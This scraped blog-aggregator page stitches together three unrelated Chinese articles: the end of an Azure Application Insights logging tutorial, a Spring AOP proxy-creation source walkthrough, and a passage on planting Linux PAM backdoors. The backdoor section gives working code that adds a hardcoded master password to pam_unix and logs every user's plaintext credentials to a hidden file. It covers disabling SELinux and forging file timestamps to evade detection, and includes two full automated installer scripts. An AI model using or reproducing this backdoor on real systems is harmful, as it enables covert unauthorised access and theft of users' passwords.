 記錄的異常行號為37行,可以對比一下手動拋出異常的行數

 同時,application insights還提供了一個可視化的地方,Investigate=》Failures,從這裏可以看到

  1,正常,異常的請求。

  2,請求對應的響應碼。

  3,各個接口/頁面的異常情況。

  4,異常類型的分佈。

  5,依賴性信息

 其實,我們可以從代碼中可以看到,我們自己手動拋了一個異常,異常雖然用try catch 進行包裹,但是對於應用程序來說,這個異常還沒有進行正確的處理掉,比如返回信息,返回狀態碼等等。

 切換到 Exceptions,可以看到這個異常的信息了

 同時,我們可以得到一些額外的堆棧信息,甚至可以看到異常的代碼行,控制器方法,類等信息

 

 回到上一個話題,Application Insights 默認情況下只監控 “Warnning”,“Error”,“Critical” 類型的信息,我們可以通過appsetting 配置文件設置Application Insights的監視級別

"ApplicationInsights": {
      "LogLevel": {
        "Default": "Debug",
        "Miccrosoft": "Error"
      }
    },

全部代碼 牽扯隱私的部分,這裏使用 “0”進行替代

{
  "Logging": {
    "ApplicationInsights": {
      "LogLevel": {
        "Default": "Debug",
        "Miccrosoft": "Error"
      }
    },
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*",
  "ApplicationInsights": {
    "InstrumentationKey": "000000-0000-0000-0000-00000000000000"
  }
}

 繼續在Application Insights的logs查看監測數據

 bingo,修改監測默認配置成功!

三,總結

  Application Insights 可以用來監控網站的可用性、性能和使用情況。快速診斷確定並診斷應用程序中的錯誤,而無需等待用戶報告這些錯誤。提供用戶數據的分析,用戶,會話,事件等Application Insights 提供服務器端監視和客戶端/瀏覽器監視功能,它默認數據保留90天,同時還有支持實時流數據上報(延時低至1秒,不保留數據),增加自定義埋點(自定義的指標)等

  Application Insights 服務處理數據並將數據聚合到一個表單中,方便查詢和可視化。

————–我是分割線—————–

github:https://github.com/yunqian44/Azure.Monitor.git

作者:Allen 

版權:轉載請在文章明顯位置註明作者及出處。如發現錯誤,歡迎批評指正。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

新北清潔公司,居家、辦公、裝潢細清專業服務

※教你寫出一流的銷售文案?

Spring AOP學習筆記04:AOP核心實現之創建代理

  上文中,我們分析了對所有增強器的獲取以及獲取匹配的增強器,在本文中我們就來分析一下Spring AOP中另一部分核心邏輯–代理的創建。這部分邏輯的入口是在wrapIfNecessary()方法中緊接着增強器的獲取之後的createProxy():

protected Object createProxy(
        Class<?> beanClass, String beanName, Object[] specificInterceptors, TargetSource targetSource) {

    ProxyFactory proxyFactory = new ProxyFactory();
    // 獲取當前類中相關屬性
    proxyFactory.copyFrom(this);
    // 決定對於給定的bean是否應該使用targetClass而不是它的接口進行代理
    if (!shouldProxyTargetClass(beanClass, beanName)) {
        // Must allow for introductions; can't just set interfaces to
        // the target's interfaces only.
        Class<?>[] targetInterfaces = ClassUtils.getAllInterfacesForClass(beanClass, this.proxyClassLoader);
        for (Class<?> targetInterface : targetInterfaces) {
            // 添加代理接口
            proxyFactory.addInterface(targetInterface);
        }
    }

    Advisor[] advisors = buildAdvisors(beanName, specificInterceptors);
    for (Advisor advisor : advisors) {
        // 加入增強器
        proxyFactory.addAdvisor(advisor);
    }
    // 設置要代理的類
    proxyFactory.setTargetSource(targetSource);
    // 定製代理
    customizeProxyFactory(proxyFactory);
    // 用來控制代理工廠被配置之後,是否還允許修改通知
    // 默認值為false(即在代理被配置之後,不允許修改代理的配置)
    proxyFactory.setFrozen(this.freezeProxy);
    if (advisorsPreFiltered()) {
        proxyFactory.setPreFiltered(true);
    }

    return proxyFactory.getProxy(this.proxyClassLoader);
}

  對於代理類的創建及處理,Spring委託給了ProxyFactory進行處理,而在上面的函數中主要是對ProxyFactory的初始化操作,為真正的代理創建做準備,初始化包括如下內容:

  • 獲取當前中的屬性;
  • 添加代理接口;
  • 封裝Advisor並加入到ProxyFactory中;
  • 設置要代理的類;
  • 對代理工廠進行定製化處理,供子類實現;
  • 進行獲取代理操作;

  其中封裝Advisor並加入到ProxyFactory中以及創建代理是兩個相對繁瑣的過程,可以通過ProxyFactory提供的addAdvisor方法直接將增強器置入代理創建工廠中,但是將攔截器封裝為增強器還是需要一定的邏輯的。

protected Advisor[] buildAdvisors(String beanName, Object[] specificInterceptors) {
    // 解析註冊的所有interceptorName
    Advisor[] commonInterceptors = resolveInterceptorNames();

    List<Object> allInterceptors = new ArrayList<Object>();
    if (specificInterceptors != null) {
        // 加入攔截器
        allInterceptors.addAll(Arrays.asList(specificInterceptors));
        if (commonInterceptors != null) {
            if (this.applyCommonInterceptorsFirst) {
                allInterceptors.addAll(0, Arrays.asList(commonInterceptors));
            }
            else {
                allInterceptors.addAll(Arrays.asList(commonInterceptors));
            }
        }
    }
    if (logger.isDebugEnabled()) {
        int nrOfCommonInterceptors = (commonInterceptors != null ? commonInterceptors.length : 0);
        int nrOfSpecificInterceptors = (specificInterceptors != null ? specificInterceptors.length : 0);
        logger.debug("Creating implicit proxy for bean '" + beanName + "' with " + nrOfCommonInterceptors +
                " common interceptors and " + nrOfSpecificInterceptors + " specific interceptors");
    }

    Advisor[] advisors = new Advisor[allInterceptors.size()];
    for (int i = 0; i < allInterceptors.size(); i++) {
        // 將攔截器進行包裝轉化為Advisor
        advisors[i] = this.advisorAdapterRegistry.wrap(allInterceptors.get(i));
    }
    return advisors;
}

public Advisor wrap(Object adviceObject) throws UnknownAdviceTypeException {
    // 如果要封裝的對象本身就是Advisor類型的那麼無需再做過多處理
    if (adviceObject instanceof Advisor) {
        return (Advisor) adviceObject;
    }
    // 如果不是Advisor與Advice兩種類型,則拋出異常
    if (!(adviceObject instanceof Advice)) {
        throw new UnknownAdviceTypeException(adviceObject);
    }
    Advice advice = (Advice) adviceObject;
    if (advice instanceof MethodInterceptor) {
        // 如果是MethodInterceptor類型則使用DefaultPointcutAdvisor封裝
        return new DefaultPointcutAdvisor(advice);
    }
    // 如果存在Advisor的適配器那麼也同樣需要進行封裝
    for (AdvisorAdapter adapter : this.adapters) {
        // Check that it is supported.
        if (adapter.supportsAdvice(advice)) {
            return new DefaultPointcutAdvisor(advice);
        }
    }
    throw new UnknownAdviceTypeException(advice);
}

  因為Spring中涉及過多的攔截器、增強器、增強方法等方式來對邏輯進行增強,所以非常有必要將增強器封裝成Advisor來進行代理的創建,完成了增強的封裝過程,那麼接下來就是最重要的一步–代理的創建與獲取。

public Object getProxy(ClassLoader classLoader) {
    return createAopProxy().getProxy(classLoader);
}

1. 創建代理

protected final synchronized AopProxy createAopProxy() {
    if (!this.active) {
        activate();
    }
    // 創建代理
    return getAopProxyFactory().createAopProxy(this);
}

public AopProxy createAopProxy(AdvisedSupport config) throws AopConfigException {
    if (config.isOptimize() || config.isProxyTargetClass() || hasNoUserSuppliedProxyInterfaces(config)) {
        Class targetClass = config.getTargetClass();
        if (targetClass == null) {
            throw new AopConfigException("TargetSource cannot determine target class: " +
                    "Either an interface or a target is required for proxy creation.");
        }
        if (targetClass.isInterface()) {
            return new JdkDynamicAopProxy(config);
        }
        return CglibProxyFactory.createCglibProxy(config);
    }
    else {
        return new JdkDynamicAopProxy(config);
    }
}

  到這裏已經完成了代理的創建了,不管我們之前是否有閱讀過Spring的源碼,但是應該或多或少都聽說過對於Spring的代理中JDKProxy的實現CglibProxy的實現。Spring是如果選取的呢?現在我們就從源碼的角度分析,看看到底Spring是如何選擇代理方式的。

  從上面代碼中的判斷條件可以看到3個方面影響着Spring的判斷:

  • optimize:用來控制通過CGLIB創建的代理是否使用激進的優化策略。除非完全了解AOP代理如何處理優化,否則不推薦用戶使用這個設置。目前這個屬性僅用於CGLIB代理,對於JDK動態代理(默認代理)無效。
  • proxyTargetClass:這個屬性為true時,目標類本身被代理而不是目標類的接口,並且使用CGLIB方式創建代理,xml文件配置方式為:<aop:aspectj-autoproxy proxy-target-class=”true”/>。
  • hasNoUserSuppliedProxyInterfaces:是否存在代理接口。

  下面是對JDK與Cglib方式的總結:

  • 如果目標對象實現了接口,默認情況下會採用JDK的動態代理實現AOP;
  • 如果目標對象實現了接口,可以強制使用CGLIB實現AOP;
  • 如果目標對象沒有實現接口,則必須採用CGLIB方式實現AOP,Spring會自動切換;

如何強制使用CGLIB實現AOP?

  • 添加CGLIB庫,Spring_HOME/cglib/*.jar
  • 在Spring配置文件中加入<aop:aspectj-autoproxy proxy-target-class=”true”/>

JDK動態代理和CGLIB字節碼生成的區別?

  • JDK動態代理只能對實現了接口的類生成代理,而不能針對類。
  • CGLIB是針對類實現代理,主要是對指定的類生成一個子類,覆蓋其中的方法,因為是繼承,所以該類或方法最好不要聲明成final。

 

2. 獲取代理

  確定了使用哪種代理方式之後便可以進行代理的創建了,Spring中主要使用了兩種方式來實現代理的創建:JDK動態代理、cglib,我們一一來解析。

2.1 JDK動態代理方式

  這裏直接定位到JdkDynamicAopProxy中的getProxy():

public Object getProxy(ClassLoader classLoader) {
    if (logger.isDebugEnabled()) {
        logger.debug("Creating JDK dynamic proxy: target source is " + this.advised.getTargetSource());
    }
    Class<?>[] proxiedInterfaces = AopProxyUtils.completeProxiedInterfaces(this.advised);
    findDefinedEqualsAndHashCodeMethods(proxiedInterfaces);
    return Proxy.newProxyInstance(classLoader, proxiedInterfaces, this);
}

  JDK動態代理的使用關鍵是創建自定義的InvocationHandler,而InvocationHandler中包含了需要覆蓋的函數getProxy,這裏其實JdkDynamicAopProxy就是繼承了InvocationHandler的,所以上面的方法正是完成了這個操作,並且我們還可以推斷出,在JdkDynamicAopProxy中一定會有一個invoke函數,並且JdkDynamicAopProxy會把AOP的核心邏輯寫在其中,找一下,一定會有這樣一個函數的:

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    MethodInvocation invocation;
    Object oldProxy = null;
    boolean setProxyContext = false;

    TargetSource targetSource = this.advised.targetSource;
    Class<?> targetClass = null;
    Object target = null;

    try {
        // 處理equals方法
        if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {
            return equals(args[0]);
        }
        // 處理hash方法
        if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
            return hashCode();
        }
        if (!this.advised.opaque && method.getDeclaringClass().isInterface() &&
                method.getDeclaringClass().isAssignableFrom(Advised.class)) {
            // Service invocations on ProxyConfig with the proxy config...
            return AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
        }

        Object retVal;
        // 有時候目標對象內部的自我調用將無法實施切面中的增強,則需要通過此屬性暴露代理
        if (this.advised.exposeProxy) {
            oldProxy = AopContext.setCurrentProxy(proxy);
            setProxyContext = true;
        }

        target = targetSource.getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }

        // 獲取當前方法的攔截器鏈
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

        if (chain.isEmpty()) {
            // 如果沒有任何攔截器鏈則直接調用切點方法
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
        }
        else {
            // 將攔截器封裝在ReflectiveMethodInvocation,以便於使用其proceed進行鏈式調用攔截器
            invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
            // 執行攔截器鏈
            retVal = invocation.proceed();
        }

        // 返回結果
        Class<?> returnType = method.getReturnType();
        if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
            retVal = proxy;
        }
        else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
            throw new AopInvocationException(
                    "Null return value from advice does not match primitive return type for: " + method);
        }
        return retVal;
    }
    finally {
        if (target != null && !targetSource.isStatic()) {
            // Must have come from TargetSource.
            targetSource.releaseTarget(target);
        }
        if (setProxyContext) {
            // Restore old proxy.
            AopContext.setCurrentProxy(oldProxy);
        }
    }
}

  上面的invoke()函數最主要的工作就是創建了一個攔截器鏈,並使用ReflectiveMethodInvocation類進行了鏈的封裝,而在ReflectiveMethodInvocation類的proceed方法中實現了攔截器的逐一調用,那麼我們就繼續來探究,在proceed方法中是怎麼實現諸如前置增強在目標方法前調用以及後置增強在目標方法后調用的邏輯的。

public Object proceed() throws Throwable {
    //    執行完所有增強后執行切點方法
    if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
        return invokeJoinpoint();
    }
    // 獲取下一個要執行的攔截器
    Object interceptorOrInterceptionAdvice =
            this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
    if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
        // 動態匹配
        InterceptorAndDynamicMethodMatcher dm =
                (InterceptorAndDynamicMethodMatcher) interceptorOrInterceptionAdvice;
        if (dm.methodMatcher.matches(this.method, this.targetClass, this.arguments)) {
            return dm.interceptor.invoke(this);
        }
        else {
            // 若未匹配則不執行攔截器,調用攔截器鏈中下一個
            return proceed();
        }
    }
    else {
        // 普通攔截器,直接調用。將this作為參數傳入以保證當前實例中調用鏈的執行
        return ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this);
    }
}

  ReflectiveMethodInvocation的主要職責是維護一個鏈式調用的計數器,記錄著當前調用鏈的位置,以便鏈可以有序地進行下去。其實在這個方法中並沒有我們設想的維護各種增強的順序,但是細心的讀者可能會發現,這部分工作其實是委託給了各個增強器來實現,前面有說到。

2.2 Cglib方式

  完成CGLIB代理的類是委託給CglibAopProxy類去實現的,我們來一探究竟。根據前面的分析,我們容易判斷出來,CglibAopProxy的入口應該也是在getProxy():

public Object getProxy(ClassLoader classLoader) {
    if (logger.isDebugEnabled()) {
        logger.debug("Creating CGLIB proxy: target source is " + this.advised.getTargetSource());
    }

    try {
        Class<?> rootClass = this.advised.getTargetClass();
        Assert.state(rootClass != null, "Target class must be available for creating a CGLIB proxy");

        Class<?> proxySuperClass = rootClass;
        if (ClassUtils.isCglibProxyClass(rootClass)) {
            proxySuperClass = rootClass.getSuperclass();
            Class<?>[] additionalInterfaces = rootClass.getInterfaces();
            for (Class<?> additionalInterface : additionalInterfaces) {
                this.advised.addInterface(additionalInterface);
            }
        }

        // 驗證Class
        validateClassIfNecessary(proxySuperClass);

        // 創建及配置CGLIB Enhancer
        Enhancer enhancer = createEnhancer();
        if (classLoader != null) {
            enhancer.setClassLoader(classLoader);
            if (classLoader instanceof SmartClassLoader &&
                    ((SmartClassLoader) classLoader).isClassReloadable(proxySuperClass)) {
                enhancer.setUseCache(false);
            }
        }
        enhancer.setSuperclass(proxySuperClass);
        enhancer.setInterfaces(AopProxyUtils.completeProxiedInterfaces(this.advised));
        enhancer.setNamingPolicy(SpringNamingPolicy.INSTANCE);
        enhancer.setStrategy(new MemorySafeUndeclaredThrowableStrategy(UndeclaredThrowableException.class));
        enhancer.setInterceptDuringConstruction(false);
        // 設置攔截器
        Callback[] callbacks = getCallbacks(rootClass);
        Class<?>[] types = new Class<?>[callbacks.length];
        for (int x = 0; x < types.length; x++) {
            types[x] = callbacks[x].getClass();
        }
        enhancer.setCallbackFilter(new ProxyCallbackFilter(
                this.advised.getConfigurationOnlyCopy(), this.fixedInterceptorMap, this.fixedInterceptorOffset));
        enhancer.setCallbackTypes(types);
        enhancer.setCallbacks(callbacks);

        // 生成代理類及創建代理對象
        Object proxy;
        if (this.constructorArgs != null) {
            proxy = enhancer.create(this.constructorArgTypes, this.constructorArgs);
        }
        else {
            proxy = enhancer.create();
        }

        return proxy;
    }
    catch (CodeGenerationException ex) {
        catch若干異常。。。
    }
}

  上面的函數中就是一個完整創建Enhancer的過程,詳細可以參考Enhancer的文檔,這裏最重要的是通過getCallbacks()方法設置攔截器鏈。

private Callback[] getCallbacks(Class<?> rootClass) throws Exception {
    // 對於expose-proxy屬性的處理
    boolean exposeProxy = this.advised.isExposeProxy();
    boolean isFrozen = this.advised.isFrozen();
    boolean isStatic = this.advised.getTargetSource().isStatic();

    // 將攔截器封裝在DynamicAdvisedInterceptor中
    Callback aopInterceptor = new DynamicAdvisedInterceptor(this.advised);

    // Choose a "straight to target" interceptor. (used for calls that are
    // unadvised but can return this). May be required to expose the proxy.
    Callback targetInterceptor;
    if (exposeProxy) {
        targetInterceptor = isStatic ?
                new StaticUnadvisedExposedInterceptor(this.advised.getTargetSource().getTarget()) :
                new DynamicUnadvisedExposedInterceptor(this.advised.getTargetSource());
    }
    else {
        targetInterceptor = isStatic ?
                new StaticUnadvisedInterceptor(this.advised.getTargetSource().getTarget()) :
                new DynamicUnadvisedInterceptor(this.advised.getTargetSource());
    }

    // 將攔截器加入到callback中
    Callback targetDispatcher = isStatic ?
            new StaticDispatcher(this.advised.getTargetSource().getTarget()) : new SerializableNoOp();

    Callback[] mainCallbacks = new Callback[] {
            aopInterceptor,  // for normal advice
            targetInterceptor,  // invoke target without considering advice, if optimized
            new SerializableNoOp(),  // no override for methods mapped to this
            targetDispatcher, this.advisedDispatcher,
            new EqualsInterceptor(this.advised),
            new HashCodeInterceptor(this.advised)
    };

    Callback[] callbacks;

    // If the target is a static one and the advice chain is frozen,
    // then we can make some optimisations by sending the AOP calls
    // direct to the target using the fixed chain for that method.
    if (isStatic && isFrozen) {
        Method[] methods = rootClass.getMethods();
        Callback[] fixedCallbacks = new Callback[methods.length];
        this.fixedInterceptorMap = new HashMap<String, Integer>(methods.length);

        // TODO: small memory optimisation here (can skip creation for methods with no advice)
        for (int x = 0; x < methods.length; x++) {
            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(methods[x], rootClass);
            fixedCallbacks[x] = new FixedChainStaticTargetInterceptor(
                    chain, this.advised.getTargetSource().getTarget(), this.advised.getTargetClass());
            this.fixedInterceptorMap.put(methods[x].toString(), x);
        }

        // Now copy both the callbacks from mainCallbacks
        // and fixedCallbacks into the callbacks array.
        callbacks = new Callback[mainCallbacks.length + fixedCallbacks.length];
        System.arraycopy(mainCallbacks, 0, callbacks, 0, mainCallbacks.length);
        System.arraycopy(fixedCallbacks, 0, callbacks, mainCallbacks.length, fixedCallbacks.length);
        this.fixedInterceptorOffset = mainCallbacks.length;
    }
    else {
        callbacks = mainCallbacks;
    }
    return callbacks;
}

  在getCallback()中Spring考慮了很多情況,有很多的細節,但是我們閱讀源碼是沒有必要也沒有那麼多精力把每一個細節都弄明白的,重點是抓住主幹即可。這裏只需要理解最常用的,比如將advised屬性封裝在DynamicAdvisedInterceptor並加入在callbacks中,這麼做的目的是什麼呢?在CGLIB中對於方法的攔截是通過將自定義的攔截器(實現了MethodInterceptor接口的類)加入Callback中並在調用代理時直接激活攔截器中的intercept()方法來實現的,而在getCallback()方法中正好有這一部分功能的實現,DynamicAdvisedInterceptor繼承自MethodInterceptor,加入Callback中后,在再次調用代理時會直接調用其intercept()方法,由此推斷,對於CGLIB方式實現的代理,其核心邏輯應該是在DynamicAdvisedInterceptor中的intercept()方法中的:

public Object intercept(Object proxy, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    Class<?> targetClass = null;
    Object target = null;
    try {
        if (this.advised.exposeProxy) {
            // Make invocation available if necessary.
            oldProxy = AopContext.setCurrentProxy(proxy);
            setProxyContext = true;
        }
        // May be null. Get as late as possible to minimize the time we
        // "own" the target, in case it comes from a pool...
        target = getTarget();
        if (target != null) {
            targetClass = target.getClass();
        }
        // 獲取攔截器鏈
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
        Object retVal;
        if (chain.isEmpty() && Modifier.isPublic(method.getModifiers())) {
            // 如果攔截器鏈為空則直接激活原方法
            retVal = methodProxy.invoke(target, args);
        }
        else {
            // 鏈式調用
            retVal = new CglibMethodInvocation(proxy, target, method, args, targetClass, chain, methodProxy).proceed();
        }
        retVal = processReturnType(proxy, target, method, retVal);
        return retVal;
    }
    finally {
        if (target != null) {
            releaseTarget(target);
        }
        if (setProxyContext) {
            // Restore old proxy.
            AopContext.setCurrentProxy(oldProxy);
        }
    }
}

  這裏的實現與JDK動態代理方式實現代理中的invoke方法大同小異,都是首先構造攔截器鏈,然後封裝此鏈進行串聯調用,不同的是在JDK動態代理的方式中是直接構造ReflectiveMethodInvocation,而在cglib中則是使用CglibMethodInvocation,其是繼承自ReflectiveMethodInvocation,但是proceed()方法並沒有重寫。

 

3. 總結

  本文着重分析了Spring AOP實現原理中代理對象的創建過程,在bean的初始化過程中會執行Spring的後置處理器,這裡會去判斷這個bean是否需要增強,如果需要則會根據Aspect中定義的增強信息,對指定bean進行增強,也就是創建一個代理對象。對代理對象的創建有兩種方式,一種是通過JDK動態代理的方式,另一種是通過cglib的方式。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Linux Pam後門總結拓展

首發先知社區: https://xz.aliyun.com/t/7902

前言

漸漸發現pam後門在實戰中存在種植繁瑣、隱蔽性不強等缺點,這裏記錄下學習pam後門相關知識和pam後門的拓展改進。

0x01 PAM Backdoor

PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的認證,簡單來說就是一種用於Linux系統上的用戶身份驗證的機制。進行認證時首先確定是什麼服務,然後加載相應的PAM的配置文件(位於/etc/pam.d),最後調用認證文件(位於/lib/security)進行安全認證

簡易利用的PAM後門也是通過修改PAM源碼中認證的邏輯來達到權限維持

以下為Pam後門種植的過程,只是特別把一點tips和需要注意的點貼出來。

查詢目標版本後下載對應源代碼修改認證邏輯、編譯替換原認證文件即可。版本務必要和目標系統完全保持對應。

源碼:http://www.linux-pam.org/library/

查詢版本rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c

**pam_unix_auth.c ** 在這裏你可以修改認證邏輯,改成使用特定密碼的後門,當然也可以作為一個記錄敏感密碼的功能,將記錄的密碼寫入文件記錄。

/* verify the password of this user */ 
retval = _unix_verify_password(pamh, name, p, ctrl); 
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;} 
 
if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        }

這裏也提一下,實際各種複雜環境還是推薦非交互去修改源碼

apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
 cd pam-1.1.1/modules/pam_unix/
 sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
 cd ../..
 ./configure
 make
 cd

編譯、修改:

在目標機器上重新編譯PAM,而後,再將生成的庫複製到系統的/lib64/security/[注意,32和64位系統下該目錄的路徑不一樣的目錄下

cd ../../
./configure && make  (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #備份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆蓋替換
echo $?

注意的tips

過程只是有些步驟,需要注意的時候在編譯後門關閉Selinux或設置上下文,以及修改pam認證的一些時間戳達到基本的隱蔽。

stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src  #克隆原始文件時間
ls -Z pam_unix.so.src (查看原始文件的Selinux上下文) 
chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1    # 設置Selinux上下文

#或直接時間戳給變量來修改
 timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
 touch -t $timestamp /lib/security/pam_unix.so

一定注意替換完成后測試ok再退出不然基本的認證就亂了

root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 後門一些報錯解決:

編譯中的問題解決:64位系統編譯可能會遇到yywrap()函數未定義錯誤

  • 1.根據提示的文件路徑,在裏面定義
  • #define yywrap() 1 或者int yywrap(){return 1;}
  • 2.在C文件中定義 %option noyywrap
  • 3.安裝flex軟件包就可以正常編譯了 yum install flex

記得Selinux一定要關閉或者設置上下文

Pam後門種植腳本

但是在種植過程中對於步驟顯得有點繁瑣,腳本來簡化步驟,腳本一把PAM種植過程的命令傻瓜式寫進sh, 腳本二來自zephrax:

root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version

#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash

OPTIND=1

PAM_VERSION=
PAM_FILE=
PASSWORD=

echo "Automatic PAM Backdoor"

function show_help {
	echo ""
	echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
	echo "For a list of supported versions: http://www.linux-pam.org/library/"
}

while getopts ":h:?:p:v:" opt; do
    case "$opt" in
    h|\?)
        show_help
        exit 0
        ;;
    v)  PAM_VERSION="$OPTARG"
        ;;
    p)  PASSWORD="$OPTARG"
        ;;
    esac
done

shift $((OPTIND-1))

[ "$1" = "--" ] && shift

if [ -z $PAM_VERSION ]; then
	show_help
	exit 1
fi;

if [ -z $PASSWORD ]; then
	show_help
	exit 1
fi;

echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""

PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`

if [ $? -ne 0 ]; then
	echo "Error: patch command not found. Exiting..."
	exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"

tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""

pam 後門種植過程中也可以發現一些可以改進優化的點,比如加載認證後門方式、文件,以及對於劫持密碼的形式不一定是寫入文本文件的形式。

0x02 Pam_permit Backdoor

因為種植機器環境的不確定性,很難保證在包管理器中提供了某種對文件校驗,可用於檢測文件系統中現有程序的操作。這些校驗分發包中合法隨附的文件的完整性,也許在我們修改認證so類似這種系統敏感文件就會觸發監控報警

我們也可以在原Pam後門種植中變通一下在不替換原系統認證pam文件來達到相同的權限維持目的。

而類似在pam認證邏輯中改變認證結果,不一定非要在文件中修改,在認證中存在pam_permit.so模塊,而而pam_permit模塊任何時候都返回認證成功.

root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */

/*
 * $Id$
 *
 * Written by Andrew Morgan <morgan@parc.power.net> 1996/3/11
 *
 */

#include "config.h"

#define DEFAULT_USER "nobody"

#include <stdio.h>

/*
 * here, we make definitions for the externally accessible functions
 * in this file (these definitions are required for static modules
 * but strongly encouraged generally) they are used to instruct the
 * modules include file to define their prototypes.
 */

#define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD

#include <security/pam_modules.h>
#include <security/_pam_macros.h>

/* --- authentication management functions --- */

PAM_EXTERN int
